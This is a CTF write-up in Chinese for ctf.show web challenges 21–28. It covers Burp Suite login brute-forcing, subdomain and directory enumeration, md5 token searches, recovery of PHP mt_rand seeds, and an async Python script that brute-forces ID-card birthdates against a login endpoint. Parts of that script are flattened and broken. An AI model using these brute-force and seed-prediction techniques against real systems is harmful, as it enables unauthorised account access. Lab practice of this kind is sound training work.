web21

image-20241123165104490

抓个包

image-20241123165621808

我们可以看到他的账号密码是通过base64编码加密后再发送的,问题不大

payload设置如下

image-20241123165947562

image-20241123170139759

我们还要设置一下payload处理

image-20241123170509504

开始爆破,根据长度或者状态码判断即可

image-20241123172859359

web22

域名爆破

通过爆破ctf.show的子域名可以爆破到flag.ctf.show

访问即可得到flag(虽然已经挂了)

web23

 1<?php
 2
 3/*
 4# -*- coding: utf-8 -*-
 5# @Author: h1xa
 6# @Date:   2020-09-03 11:43:51
 7# @Last Modified by:   h1xa
 8# @Last Modified time: 2020-09-03 11:56:11
 9# @email: [email protected]
10# @link: https://ctfer.com
11
12*/
13error_reporting(0);
14
15include('flag.php');
16if(isset($_GET['token'])){
17    $token = md5($_GET['token']);
18    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
19        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
20            echo $flag;
21        }
22    }
23}else{
24    highlight_file(__FILE__);
25
26}
27?>

分析代码可知: 需要找到一个合适的 token 值,使得以下条件成立:

1、md5(token) 的第 1 位(从 0 开始算)等于第 14 位

2、md5(token) 的第 14 位等于第 17 位。

3、md5(token) 的第 1 位的整数值、14 位的整数值、和 17 位的整数值的和除以第 1 位的整数值等于第 31 位的整数值。

既然不知道怎么凑那我们可以尝试爆破

通过bp爆破一下1-1000中是否有符合上述条件的字符串

image-20241123230839908

哎我草,怎么就爆破出来了,虽然不知道为什么纯数字还能爆出来

其他解法,可以用大佬的脚本

 1# coding: utf-8
 2# alberthao
 3import hashlib
 4
 5dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
 6for a in dic:
 7    for b in dic:
 8        t = str(a) + str(b)
 9        md5 = hashlib.md5(t.encode('utf-8')).hexdigest()
10        # print md5
11        # print md5[1:2]
12        # print md5[14:15]
13        # print md5[17:18]
14        if md5[1:2] == md5[14:15] and md5[14:15] == md5[17:18]:
15            if (ord(md5[1:2])) >= 48 and ord(md5[1:2]) <= 57 and (ord(md5[14:15])) >= 48 and ord(md5[14:15]) <= 57:
16                if (ord(md5[17:18])) >= 48 and ord(md5[17:18]) <= 57 and (ord(md5[31:32])) >= 48 and ord(
17                        md5[31:32]) <= 57:
18                    if (int(md5[1:2]) + int(md5[14:15]) + int(md5[17:18])) / int(md5[1:2]) == int(md5[31:32]):
19                        print(t)

or

 1import hashlib
 2for i in range(1,10000):
 3
 4md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
 5
 6if md5[1] != md5[14] or md5[14]!= md5[17]:
 7	continue
 8
 9if(ord(md5[1]))>=48 and ord(md5[1])<=57 and (ord(md5[31]))>=48 and ord(md5[31])<=57:
10
11	if((int(md5[1])+int(md5[14])+int(md5[17]))/int(md5[1])==int(md5[31])):
12
13		print(i)

web24

 1<?php
 2
 3/*
 4# -*- coding: utf-8 -*-
 5# @Author: h1xa
 6# @Date:   2020-09-03 13:26:39
 7# @Last Modified by:   h1xa
 8# @Last Modified time: 2020-09-03 13:53:31
 9# @email: [email protected]
10# @link: https://ctfer.com
11
12*/
13
14error_reporting(0);
15include("flag.php");
16if(isset($_GET['r'])){
17    $r = $_GET['r'];
18    mt_srand(372619038);
19    if(intval($r)===intval(mt_rand())){
20        echo $flag;
21    }
22}else{
23    highlight_file(__FILE__);
24    echo system('cat /proc/version');
25}
26
27?>

这道题考察的是一个php伪随机数的题目

mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机 数。 提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数 因此不需要播种,并且如果设置了 seed参数 生成的随机数就是伪随机数,意思就是每次生成的随机数 是一样的

虽然说是随机数,但是同一个种子会生成同一串数字

poc

1<?php 
2mt_srand(372619038);
3echo intval(mt_rand()); 
4?>

不知道跟版本有没有关系,我随便找的php在线运行,成功得到flag

web25

 1<?php
 2
 3/*
 4# -*- coding: utf-8 -*-
 5# @Author: h1xa
 6# @Date:   2020-09-03 13:56:57
 7# @Last Modified by:   h1xa
 8# @Last Modified time: 2020-09-03 15:47:33
 9# @email: [email protected]
10# @link: https://ctfer.com
11
12*/
13
14
15error_reporting(0);
16include("flag.php");
17if(isset($_GET['r'])){
18    $r = $_GET['r'];
19    mt_srand(hexdec(substr(md5($flag), 0,8)));
20    $rand = intval($r)-intval(mt_rand());
21    if((!$rand)){
22        if($_COOKIE['token']==(mt_rand()+mt_rand())){
23            echo $flag;
24        }
25    }else{
26        echo $rand;
27    }
28}else{
29    highlight_file(__FILE__);
30    echo system('cat /proc/version');
31}

继续php伪随机数

我们需要知道一个性质

当mt_srand()中的种子是固定的,那么我们生成的随机数的序列就是相同的,如下

 1<?php
 2
 3mt_srand(1852100618);
 4
 5echo mt_rand();
 6echo mt_rand();
 7echo mt_rand();
 8echo mt_rand();
 9
10'''
111640856123
121390302953
13893879251
14859994814

在这道题里面我们需要得到前三个随机数

第一个随机数我们可以使r=0得到,第一个随机数为1640856123

image-20241124162638637

得到第一个随机数之后我们可以通过爆破的方式得到种子,从而得到第二,第三个随机数

php脚本(极其慢)

 1<?php
 2$a= 390148868;//第一个随机数
 3$b= 0 ;
 4while (true){
 5    mt_srand($b);
 6    if(mt_rand()==$a){
 7        echo "success:"+$b;
 8        break;
 9    }
10    echo $b;
11    echo "\n";
12    $b+=1;
13
14}

或者使用php_mt_seed-4.0工具

image-20241124163359970

我们可以看到不同版本的seed是不同的,我们一个个试试就行了

1mt_srand(1852100618);
2echo mt_rand();// 第一次随机数(不能少)
3echo "\ntoken:";
4echo (mt_rand()+mt_rand()); //第二和第三次随机数相加,也就是我们要对token

得到token的值,我们只需要使rand为零即可得到flag

也就是说我们只需要使r等于第一次随机数即可

传参,得到flag

image-20241124163754599

web26

image-20241124173300016

这么多我咋爆,赌一把只爆密码

image-20241124173340723

web27

image-20241124201909506

这题是一个教务系统,需要通过账号密码登录

先信息收集一下

我们可以看到在账号密码下面有一个录取名单和学生学籍信息查询系统

image-20241124202141536

image-20241124202155511

分别如上,那我们是否可以通过爆破学生的身份证信息从而通过录取查询查到学生的信息呢?

bp抓个包

image-20241124203316274

哎我草,我数据呢

forward一下(是因为数据实际上在checkdb.php才提交吗?不是很懂)

image-20241124203440000

我们可以发现其实身份证缺失的部分刚好是出生日期

那我们可以用bp中的日期爆破功能

image-20241124205446714

image-20241124211229000

爆出来的msg用unicode解码一下就能得到账号密码了

image-20241124211334906

贴个大佬的脚本

 1url='https://bbc133e5-8f17-4c12-a7a2-88fecb9ac079.challenge.ctf.show/info/checkdb.php' NUM=32
 2
 3def run_tasks(L): U=[] for i in L: U.append(asyncio.ensure_future(i)) loop = asyncio.get_event_loop() loop.run_until_complete(asyncio.wait(U))
 4
 5class TaskRuner: def init(self,n) -> None: self.L=[] for i in range(n): self.L.append(self.task_function(i)) self.task_num=n async def task_function(self,n): pass def run(self): run_tasks(self.L) self.on_over() def on_over(self): pass
 6
 7import aiohttp from urllib.parse import quote from datetime import date, timedelta
 8
 9class NYR: def init(self,start_date,end_date) -> None: self.start_date=start_date self.end_date=end_date self.delta = timedelta(days=1) self.current_date = start_date def next(self): t=self.current_date if t>self.end_date: return None self.current_date+=self.delta return t
10
11class Scanner(TaskRuner): def init(self,d1,d2,n) -> None: super().init(n) self.nyr=NYR(d1,d2) self.alive=True
12
13async def task_function(self, n):
14    while self.alive:
15        u=self.nyr.next()
16        if not u:
17            break
18        r=await self.login(u)
19        if r:
20            self.alive=False
21async def login(self,t:date):
22    url='https://bbc133e5-8f17-4c12-a7a2-88fecb9ac079.challenge.ctf.show/info/checkdb.php'
23    n=t.year
24    y=t.month
25    r=t.day
26    n=str(n)
27    y=str(y)
28    r=str(r)
29    if len(y)==1:
30        y='0'+y
31    if len(r)==1:
32        r='0'+r
33    sfz='621022'+n+y+r+'5237'
34    data={
35        'a':'高先伊',
36        'p':sfz,
37    }
38    sess=aiohttp.ClientSession()
39    try:
40        r=await sess.post(url=url,data=data,ssl=False)
41        text=await r.text()
42        js=loads(text)
43        msg=js['msg']
44        print(sfz,msg)
45        await sess.close()
46        return msg!='提交信息有误'
47    except Exception as e:
48        print(e)
49        pass
50    try:
51        await sess.close()
52    except:
53        pass
54    return False
55
56async def handle_up(self,u,p):
57    pass
58a=Scanner(date(1990,1,1),date(2010,12,12),NUM)
59
60a.run()

web28

image-20241124212238261

这题本来不知道要干嘛

image-20241124212302234

dirsearch扫一下,感觉应该是目录爆破

image-20241124213646757

先爆破一下0-100

image-20241124220027195